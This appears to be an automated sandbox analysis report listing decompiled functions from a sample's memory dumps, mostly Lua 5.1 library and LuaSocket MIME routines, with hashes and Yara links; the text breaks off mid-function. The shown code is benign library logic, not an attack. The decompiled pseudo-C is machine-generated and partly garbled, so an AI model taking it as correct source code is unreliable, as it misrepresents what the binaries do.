Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_iscfunction.lua_newthread.lua_pushvalue.lua_type.lua_xmove.
String ID: Lua function expected
API String ID: 3434600467-3717604881
Opcode ID: 79b3f64d85674d111db15ab29251e463a465c9e6604645d57f974e4280fee49f
Instruction ID: 78291d66c6f2aac343a553eeefb6cd4e15ab70226aec32fa2d58c3fc61258099
Opcode Fuzzy Hash: 79b3f64d85674d111db15ab29251e463a465c9e6604645d57f974e4280fee49f
Instruction Fuzzy Hash: 6EE06D3AA6212031FC20A1653C43FCF2149CF927C4F050028F600BA1CBF5EAB6C241A6

Uniqueness

Uniqueness Score: -1.00%

Function 100148C0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000006), ref: 100148D3

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_settop.LUA5.1(?,00000001,?,00000001,00000006), ref: 100148DB
luaL_buffinit.LUA5.1(?,?,?,00000001,?,00000001,00000006), ref: 100148E6
lua_dump.LUA5.1(?,10014930,?,?,?,?,00000001,?,00000001,00000006), ref: 100148F6

Part of subcall function 10002230: luaU_dump.LUA5.1(?,?,?,?,00000000), ref: 1000225A

luaL_error.LUA5.1(?,unable to dump given function), ref: 10014908

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

luaL_pushresult.LUA5.1(?), ref: 10014915

Strings

unable to dump given function, xrefs: 10014902

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_buffinit.L_checktype.L_error.L_pushresult.L_where.U_dump.lua_concat.lua_dump.lua_error.lua_pushvfstring.lua_settop.lua_type.
String ID: unable to dump given function
API String ID: 4243074062-4187293423
Opcode ID: f51a64dca8131b738a48b1180b9199540f369165325a562bdff6cb44a00a7227
Instruction ID: 680fa7564d0cd8580dcd1acdb1e0f5e3293769c7ddd89bce295db90c1dd4771c
Opcode Fuzzy Hash: f51a64dca8131b738a48b1180b9199540f369165325a562bdff6cb44a00a7227
Instruction Fuzzy Hash: A8F0A0B982121032F610E610AC43FFF324CDF55784F040528BA046508BEBAAB79686F7

Uniqueness

Uniqueness Score: -1.00%

Function 100135D0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 100135D1
lua_pushboolean.LUA5.1(?,00000001,?,100135C9,?,00000001), ref: 100135E8
lua_pushnil.LUA5.1(100135C9,?,?,100135C9,?,00000001), ref: 100135FD
strerror.MSVCRT ref: 10013603
lua_pushfstring.LUA5.1(100135C9,%s: %s,?,00000000,?,100135C9,?,?,100135C9,?,00000001), ref: 10013615
lua_pushinteger.LUA5.1(100135C9,?,100135C9,%s: %s,?,00000000,?,100135C9,?,?,100135C9,?,00000001), ref: 1001361C

Strings

%s: %s, xrefs: 1001360F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _errnolua_pushboolean.lua_pushfstring.lua_pushinteger.lua_pushnil.strerror
String ID: %s: %s
API String ID: 3794273909-3740598653
Opcode ID: 6e08282da6340d073d908540e0117cfe372f9453ff57e981962888d6fffd62ee
Instruction ID: 05062b0537d63d288258c77b535f36ea56dc3414e4e5493504ba3c0be3ae4a9c
Opcode Fuzzy Hash: 6e08282da6340d073d908540e0117cfe372f9453ff57e981962888d6fffd62ee
Instruction Fuzzy Hash: 66F0123A6042107BE601D758EC45EAF37ADEF8A690F048418F504D7245D675F98287A6

Uniqueness

Uniqueness Score: -1.00%

Function 00401060, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401060(struct _IO_FILE* _a4) {
				void* _t3;
				intOrPtr* _t18;
				void* _t20;

				_t18 = __imp____iob_func;
				if(_t3 != 0) {
					fprintf( *_t18(_t3) + 0x40, "%s: ");
					_t20 = _t20 + 0xc;
				}
				fprintf( *_t18() + 0x40, "%s\n");
				_a4 =  *_t18() + 0x40;
				return fflush(_a4);
			}

0x00401063
0x00401070
0x0040107e
0x00401080
0x00401080
0x00401093
0x0040109f
0x004010a3

APIs

__iob_func.MSVCR80 ref: 00401078
fprintf.MSVCR80 ref: 0040107E
__iob_func.MSVCR80 ref: 0040108D
fprintf.MSVCR80 ref: 00401093
__iob_func.MSVCR80 ref: 00401098

Strings

%s, xrefs: 00401088
%s: , xrefs: 00401073

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __iob_func$fprintf
String ID: %s$%s:
API String ID: 743380796-1131586811
Opcode ID: 1910718e93600685742a75c70622f0f9d180b423c5e650f95053b8ef9b035b37
Instruction ID: ca629cf822423b9349ea4458e895acec5f116e0013ae91158b718afed74609c3
Opcode Fuzzy Hash: 1910718e93600685742a75c70622f0f9d180b423c5e650f95053b8ef9b035b37
Instruction Fuzzy Hash: DDE04FB2A01115BFF3006BA9AC12A9B7B9CAD85655B098437E884F7290D574EE004BA9

Uniqueness

Uniqueness Score: -1.00%

Function 005C1000, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E005C1000(intOrPtr _a4) {
				intOrPtr _t5;

				_t5 = _a4;
				_push(0);
				_push(0x5c4010);
				_push("mime");
				_push(_t5);
				L005C20FC();
				_push("_VERSION");
				_push(_t5);
				L005C20F6();
				_push("MIME 1.0.2");
				_push(_t5);
				L005C20F6();
				_push(0xfffffffd);
				_push(_t5);
				L005C20F0();
				E005C11B0(E005C1670(0x5c41c0, 0x5c40c0), 0x5c42c0);
				return 1;
			}

0x005c1001
0x005c1005
0x005c1007
0x005c100c
0x005c1011
0x005c1012
0x005c1017
0x005c101c
0x005c101d
0x005c1022
0x005c1027
0x005c1028
0x005c102d
0x005c102f
0x005c1030
0x005c1049
0x005c1057

APIs

luaL_openlib.LUA5.1(?,mime,005C4010,00000000), ref: 005C1012
lua_pushstring.LUA5.1(?,_VERSION,?,mime,005C4010,00000000), ref: 005C101D
lua_pushstring.LUA5.1(?,MIME 1.0.2,?,_VERSION,?,mime,005C4010,00000000), ref: 005C1028
lua_rawset.LUA5.1(?,000000FD,?,MIME 1.0.2,?,_VERSION,?,mime,005C4010,00000000), ref: 005C1030

Strings

_VERSION, xrefs: 005C1017
mime, xrefs: 005C100C
MIME 1.0.2, xrefs: 005C1022

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$L_openlib.lua_rawset.
String ID: MIME 1.0.2$_VERSION$mime
API String ID: 2830898266-683567973
Opcode ID: e59a95465285ede986a96fe46ff2165ebce5deae29351a39be499f813ed47c74
Instruction ID: 8f0a86fae3ef8ebd9cd89d8b4505649320b6236d03bc28d2479f929501cb7596
Opcode Fuzzy Hash: e59a95465285ede986a96fe46ff2165ebce5deae29351a39be499f813ed47c74
Instruction Fuzzy Hash: C7E0B6396CAB233DC53136E46C2FF8E0D643F92B50F04020DB650391C29DC46682A9AE

Uniqueness

Uniqueness Score: -1.00%

Function 10015730, Relevance: 12.1, APIs: 8, Instructions: 117COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,?), ref: 10015749

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_checklstring.LUA5.1(?,00000002,00000000,?,00000001,?), ref: 10015756
luaL_optinteger.LUA5.1(?,00000004,?,?,00000002,00000000,?,00000001,?), ref: 1001576A

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

luaL_buffinit.LUA5.1(?,?), ref: 10015798
luaL_prepbuffer.LUA5.1(?,?,00000000,00000000), ref: 10015823
luaL_addlstring.LUA5.1(?,00000000,?), ref: 10015868
luaL_pushresult.LUA5.1(?,?,00000000,?), ref: 10015875
lua_pushinteger.LUA5.1(?,00000000,?,?,00000000,?), ref: 1001587C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.$L_addlstring.L_buffinit.L_optinteger.L_prepbuffer.L_pushresult.lua_pushinteger.lua_tolstring.lua_type.
String ID:
API String ID: 2282590234-0
Opcode ID: a594de5b9e2a3b771639af6b2866582fd8b524252ef30ef85a83bd0d67f42de7
Instruction ID: c42cb9a62f8d00357cff5a34c8bdba07216f30075c8acfed2d28f6b0f558d115
Opcode Fuzzy Hash: a594de5b9e2a3b771639af6b2866582fd8b524252ef30ef85a83bd0d67f42de7
Instruction Fuzzy Hash: B841C3B55183419BD320DF14D881EAFB7EDEBC8784F44091DF9899B202E631EA44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 005C1E40, Relevance: 12.1, APIs: 8, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E005C1E40(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				char _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char* _t14;
				intOrPtr _t18;
				intOrPtr _t20;
				char* _t21;
				intOrPtr _t24;
				char* _t25;
				void* _t26;
				long long* _t28;
				long long _t32;

				_t32 = __fp0;
				_t24 = _a4;
				_push(1);
				_push(_t24);
				L005C214A();
				_t20 = __eax;
				_t14 =  &_v532;
				_push(_t14);
				_push(0);
				_push(2);
				_push(_t24);
				_v536 = __eax;
				_v532 = 0;
				L005C212C();
				_t21 = _v532;
				_push(0);
				_t25 = _t14;
				_push(0x5c3064);
				_push(3);
				_push(_t24);
				_t26 = _t25 + _t21;
				L005C212C();
				_v528 = _t14;
				_push( &_v524);
				_push(_t24);
				L005C211A();
				_t28 =  &_v536 + 0x30;
				if(_t25 != 0) {
					if(_t25 < _t26) {
						do {
							_t21 =  &_v524;
							_t25 = _t25 + 1;
							_t18 = E005C1F20( *_t25, _t20, _v528, _t21);
							_t28 = _t28 + 0x10;
							_t20 = _t18;
						} while (_t25 < _t26);
						_v536 = _t20;
					}
					_push( &_v524);
					L005C2108();
					asm("fild dword [esp+0x14]");
					_push(_t21);
					 *_t28 = _t32;
					_push(_t24);
					L005C2102();
					return 2;
				} else {
					_push(_t24);
					L005C2120();
					_push(_t25);
					_push(_t25);
					_push(_t24);
					L005C2102();
					return 2;
				}
			}

0x005c1e40
0x005c1e4a
0x005c1e51
0x005c1e53
0x005c1e54
0x005c1e59
0x005c1e5b
0x005c1e5f
0x005c1e60
0x005c1e62
0x005c1e64
0x005c1e65
0x005c1e69
0x005c1e71
0x005c1e76
0x005c1e7a
0x005c1e7c
0x005c1e7e
0x005c1e83
0x005c1e85
0x005c1e86
0x005c1e89
0x005c1e92
0x005c1e96
0x005c1e97
0x005c1e98
0x005c1e9d
0x005c1ea2
0x005c1ec7
0x005c1ec9
0x005c1ed0
0x005c1ed8
0x005c1ed9
0x005c1ede
0x005c1ee3
0x005c1ee3
0x005c1ee7
0x005c1ee7
0x005c1eef
0x005c1ef0
0x005c1ef5
0x005c1ef9
0x005c1efa
0x005c1efd
0x005c1efe
0x005c1f15
0x005c1ea4
0x005c1ea4
0x005c1ea5
0x005c1eaa
0x005c1eab
0x005c1eac
0x005c1ead
0x005c1ec4
0x005c1ec4

APIs

luaL_checkinteger.LUA5.1(?,00000001), ref: 005C1E54
luaL_optlstring.LUA5.1 ref: 005C1E71
luaL_optlstring.LUA5.1(?,00000003,005C3064,00000000), ref: 005C1E89
luaL_buffinit.LUA5.1(?,?,?,00000003,005C3064,00000000), ref: 005C1E98
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,00000001), ref: 005C1EA5
lua_pushnumber.LUA5.1(?,00000000,00000000,?,?,?,?,?,?,?,?,00000001), ref: 005C1EAD
luaL_pushresult.LUA5.1(?,?,?,?,?,?,?,?,00000001), ref: 005C1EF0
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,00000001), ref: 005C1EFE

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: L_optlstring.lua_pushnumber.$L_buffinit.L_checkinteger.L_pushresult.lua_pushnil.
String ID:
API String ID: 3317043786-0
Opcode ID: c043be5eef1634851a208dc3946885a8bd822bc93fc687dc4480e53c1a27b4c7
Instruction ID: 87c7adbd490ef55a824c598e036f3477dba7de88eb96b08bd733a858f05b5e2f
Opcode Fuzzy Hash: c043be5eef1634851a208dc3946885a8bd822bc93fc687dc4480e53c1a27b4c7
Instruction Fuzzy Hash: B42108725443012FE320BA949C8AF7FBFECEBD6710F04491DFA5096142E6759909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 10012720, Relevance: 12.1, APIs: 8, Instructions: 78COMMON

Download Yara Rule

APIs

luaL_buffinit.LUA5.1(?,?,00000000,?,?,?), ref: 10012734
luaL_prepbuffer.LUA5.1(?,?,?,00000000,?,?,?), ref: 1001273E
fgets.MSVCRT ref: 10012759
luaL_prepbuffer.LUA5.1(?), ref: 10012786
fgets.MSVCRT ref: 10012794
luaL_pushresult.LUA5.1(?), ref: 100127A2
lua_objlen.LUA5.1(?,000000FF,?), ref: 100127B1
luaL_pushresult.LUA5.1(?), ref: 100127DD

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_prepbuffer.L_pushresult.fgets$L_buffinit.lua_objlen.
String ID:
API String ID: 1298739783-0
Opcode ID: 769731947fbe71d43b7309afd703be353348602c5f291ec907ef303549534b05
Instruction ID: 0e8b6e912f6279f1f3f4249207a72318203ebbe333116af8e9244c14e10777d2
Opcode Fuzzy Hash: 769731947fbe71d43b7309afd703be353348602c5f291ec907ef303549534b05
Instruction Fuzzy Hash: 5321D8795083066BE310DB34DC85E7F73D8EB802A4F140A2DF954865C2EB3AF90987E2

Uniqueness

Uniqueness Score: -1.00%

Function 005E3840, Relevance: 12.1, APIs: 8, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E005E3840(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				intOrPtr _v12;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t16;
				signed int _t20;
				signed int _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				long long* _t29;
				long long _t32;

				_t32 = __fp0;
				_t6 = __eax;
				_t16 = _a4;
				_push(1);
				_push(_t16);
				L005E3F4A();
				_t26 = (_t23 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t16);
					L005E3F92();
					_push(_t16);
					L005E3F38();
					_t27 = _t26 + 0x10;
					if(__eax < 2) {
						L5:
						_t11 = 1;
					} else {
						_push(2);
						_push(_t16);
						L005E3F4A();
						_t27 = _t27 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t16);
							L005E3FCE();
							_t27 = _t27 + 8;
							_t11 = __eax;
						}
					}
					_push(1);
					_push(_t16);
					L005E3F0E();
					_t28 = _t27 + 8;
					_t20 = 0;
					_v12 = _t6;
					if(_t11 > 0) {
						do {
							asm("fild dword [eax+esi*4]");
							if( *((intOrPtr*)(_v12 + _t20 * 4)) < 0) {
								_t32 = _t32 +  *0x5e5878;
							}
							_t29 = _t28 - 8;
							 *_t29 = _t32;
							_push(_t16);
							L005E3F80();
							_t20 = _t20 + 1;
							_t28 = _t29 + 0xc;
						} while (_t20 < _t11);
					}
					return _t11;
				} else {
					_push(_t16);
					L005E3F74();
					return 1;
				}
			}

0x005e3840
0x005e3840
0x005e384c
0x005e384f
0x005e3851
0x005e3852
0x005e3857
0x005e385c
0x005e3873
0x005e3875
0x005e3877
0x005e3878
0x005e387d
0x005e387e
0x005e3883
0x005e3889
0x005e38a9
0x005e38a9
0x005e388b
0x005e388b
0x005e388d
0x005e388e
0x005e3893
0x005e3898
0x00000000
0x005e389a
0x005e389a
0x005e389c
0x005e389d
0x005e38a2
0x005e38a5
0x005e38a5
0x005e3898
0x005e38ae
0x005e38b0
0x005e38b1
0x005e38b6
0x005e38b9
0x005e38bd
0x005e38c1
0x005e38c3
0x005e38ca
0x005e38cf
0x005e38d1
0x005e38d1
0x005e38d7
0x005e38da
0x005e38dd
0x005e38de
0x005e38e3
0x005e38e6
0x005e38e9
0x005e38c3
0x005e38f5
0x005e385e
0x005e385e
0x005e385f
0x005e3872
0x005e3872

APIs

lua_type.LUA5.1(?,00000001), ref: 005E3852
lua_pushnil.LUA5.1(?), ref: 005E385F
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E3878
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E387E
lua_type.LUA5.1(?,00000002), ref: 005E388E
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E389D
lua_touserdata.LUA5.1(?,00000001), ref: 005E38B1
lua_pushnumber.LUA5.1(?), ref: 005E38DE

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: a3b51c88bfe686f49772a03346616c0e33391461876a4e3de52945d1645f08ae
Instruction ID: a6e19d6f7bf19d9f67193dc388aa6d468d773f908d3bbd34ab9ec949193beba9
Opcode Fuzzy Hash: a3b51c88bfe686f49772a03346616c0e33391461876a4e3de52945d1645f08ae
Instruction Fuzzy Hash: 52115B73E0918222D728366B6CCFB7E7E68ABD1700F400138FD99D7242F6468B1541E3

Uniqueness

Uniqueness Score: -1.00%

Function 005C1FA0, Relevance: 12.1, APIs: 8, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E005C1FA0(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				void* _v536;
				char* _t12;
				char _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				char* _t18;
				intOrPtr _t21;
				char* _t22;
				void* _t23;
				void* _t25;
				long long* _t26;
				long long _t30;

				_t30 = __fp0;
				_t17 = _a4;
				_push(1);
				_push(_t17);
				_v536 = 0;
				L005C2132();
				L005C2150();
				_t21 = __eax;
				_t12 =  &_v536;
				_push(_t12);
				_push(0);
				_push(2);
				_push(_t17);
				L005C212C();
				_t18 = _v536;
				_t22 = _t12;
				_t25 =  &_v536 + 0x18;
				_t23 = _t22 + _t18;
				if(_t22 != 0) {
					_push( &_v524);
					_push(_t17);
					L005C211A();
					_t26 = _t25 + 8;
					while(_t22 < _t23) {
						_t14 =  *_t22;
						_t18 =  &_v524;
						_t22 = _t22 + 1;
						_t15 = E005C2070(_t14, _t21, _t18);
						_t26 = _t26 + 0xc;
						_t21 = _t15;
					}
					_push( &_v524);
					L005C2108();
					_v532 = _t21;
					_v528 = 0;
					asm("fild qword [esp+0x18]");
					_push(_t18);
					 *_t26 = _t30;
					_push(_t17);
					L005C2102();
					return 2;
				} else {
					_push(_t17);
					L005C2120();
					_push(0x40000000);
					_push(_t22);
					_push(_t17);
					L005C2102();
					return 2;
				}
			}

0x005c1fa0
0x005c1fa7
0x005c1fb1
0x005c1fb3
0x005c1fb4
0x005c1fbc
0x005c1fc1
0x005c1fc6
0x005c1fc8
0x005c1fcc
0x005c1fcd
0x005c1fcf
0x005c1fd1
0x005c1fd2
0x005c1fd7
0x005c1fdb
0x005c1fdd
0x005c1fe2
0x005c1fe5
0x005c2010
0x005c2011
0x005c2012
0x005c2017
0x005c201c
0x005c201e
0x005c2021
0x005c2025
0x005c2029
0x005c202e
0x005c2033
0x005c2033
0x005c203b
0x005c203c
0x005c2041
0x005c2045
0x005c204d
0x005c2051
0x005c2052
0x005c2055
0x005c2056
0x005c206d
0x005c1fe7
0x005c1fe7
0x005c1fe8
0x005c1fed
0x005c1ff2
0x005c1ff3
0x005c1ff4
0x005c200b
0x005c200b

APIs

luaL_checknumber.LUA5.1 ref: 005C1FBC
_ftol.MSVCRT ref: 005C1FC1
luaL_optlstring.LUA5.1(?,00000002,00000000,00000000), ref: 005C1FD2
lua_pushnil.LUA5.1(?), ref: 005C1FE8
lua_pushnumber.LUA5.1(?,00000000,40000000,?), ref: 005C1FF4
luaL_buffinit.LUA5.1(?,?), ref: 005C2012
luaL_pushresult.LUA5.1(?), ref: 005C203C
lua_pushnumber.LUA5.1(?), ref: 005C2056

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$L_buffinit.L_checknumber.L_optlstring.L_pushresult._ftollua_pushnil.
String ID:
API String ID: 1290838670-0
Opcode ID: a66d3bd197960f9c06a205bee34f2b53ac85449f397ce4c7d84c0c5e157af5fb
Instruction ID: 22c9017c03211b8e6e25a16e79bd9063efcb27f1eb106243b80ad23508af077a
Opcode Fuzzy Hash: a66d3bd197960f9c06a205bee34f2b53ac85449f397ce4c7d84c0c5e157af5fb
Instruction Fuzzy Hash: BB11E9B25043022ED320BAA59CCEFABBF9CEBD4350F44091EFA5552143D9399509C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 005E3600, Relevance: 12.1, APIs: 8, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005E3600(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				short _v8;
				intOrPtr _v12;
				intOrPtr _t7;
				intOrPtr _t12;
				intOrPtr _t17;
				signed int _t21;
				signed int _t24;
				void* _t27;
				void* _t28;
				void* _t29;
				long long* _t30;
				long long _t33;

				_t33 = __fp0;
				_t7 = __eax;
				_t17 = _a4;
				_push(1);
				_push(_t17);
				L005E3F4A();
				_t27 = (_t24 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t17);
					L005E3F92();
					_push(_t17);
					L005E3F38();
					_t28 = _t27 + 0x10;
					if(__eax < 2) {
						L5:
						_t12 = 1;
					} else {
						_push(2);
						_push(_t17);
						L005E3F4A();
						_t28 = _t28 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t17);
							L005E3FCE();
							_t28 = _t28 + 8;
							_t12 = __eax;
						}
					}
					_push(1);
					_push(_t17);
					L005E3F0E();
					_t29 = _t28 + 8;
					_t21 = 0;
					_v12 = _t7;
					if(_t12 > 0) {
						do {
							_v8 =  *((short*)(_v12 + _t21 * 2));
							_t30 = _t29 - 8;
							asm("fild dword [esp+0x44]");
							 *_t30 = _t33;
							_push(_t17);
							L005E3F80();
							_t21 = _t21 + 1;
							_t29 = _t30 + 0xc;
						} while (_t21 < _t12);
					}
					return _t12;
				} else {
					_push(_t17);
					L005E3F74();
					return 1;
				}
			}

0x005e3600
0x005e3600
0x005e360c
0x005e360f
0x005e3611
0x005e3612
0x005e3617
0x005e361c
0x005e3633
0x005e3635
0x005e3637
0x005e3638
0x005e363d
0x005e363e
0x005e3643
0x005e3649
0x005e3669
0x005e3669
0x005e364b
0x005e364b
0x005e364d
0x005e364e
0x005e3653
0x005e3658
0x00000000
0x005e365a
0x005e365a
0x005e365c
0x005e365d
0x005e3662
0x005e3665
0x005e3665
0x005e3658
0x005e366e
0x005e3670
0x005e3671
0x005e3676
0x005e3679
0x005e367d
0x005e3681
0x005e3683
0x005e368b
0x005e368f
0x005e3692
0x005e3696
0x005e3699
0x005e369a
0x005e369f
0x005e36a2
0x005e36a5
0x005e3683
0x005e36b1
0x005e361e
0x005e361e
0x005e361f
0x005e3632
0x005e3632

APIs

lua_type.LUA5.1(?,00000001), ref: 005E3612
lua_pushnil.LUA5.1(?), ref: 005E361F
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E3638
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E363E
lua_type.LUA5.1(?,00000002), ref: 005E364E
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E365D
lua_touserdata.LUA5.1(?,00000001), ref: 005E3671
lua_pushnumber.LUA5.1(?), ref: 005E369A

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: a09202127aeac567cfb7799a4eec474afee0ab0a6ae940811ed1088af26d4bf5
Instruction ID: 24689f8436be963a99b40c7891f8656a7e2763116d223e29f59ff9e5ab985a11
Opcode Fuzzy Hash: a09202127aeac567cfb7799a4eec474afee0ab0a6ae940811ed1088af26d4bf5
Instruction Fuzzy Hash: DE11E7B2E1428132D728362B6CCFB7E7EA8ABD1B51F400179FD9897381F6468B5541E3

Uniqueness

Uniqueness Score: -1.00%

Function 005E36C0, Relevance: 12.1, APIs: 8, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005E36C0(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _t7;
				intOrPtr _t12;
				intOrPtr _t17;
				signed int _t21;
				signed int _t24;
				void* _t27;
				void* _t28;
				void* _t29;
				long long* _t30;
				long long _t33;

				_t33 = __fp0;
				_t7 = __eax;
				_t17 = _a4;
				_push(1);
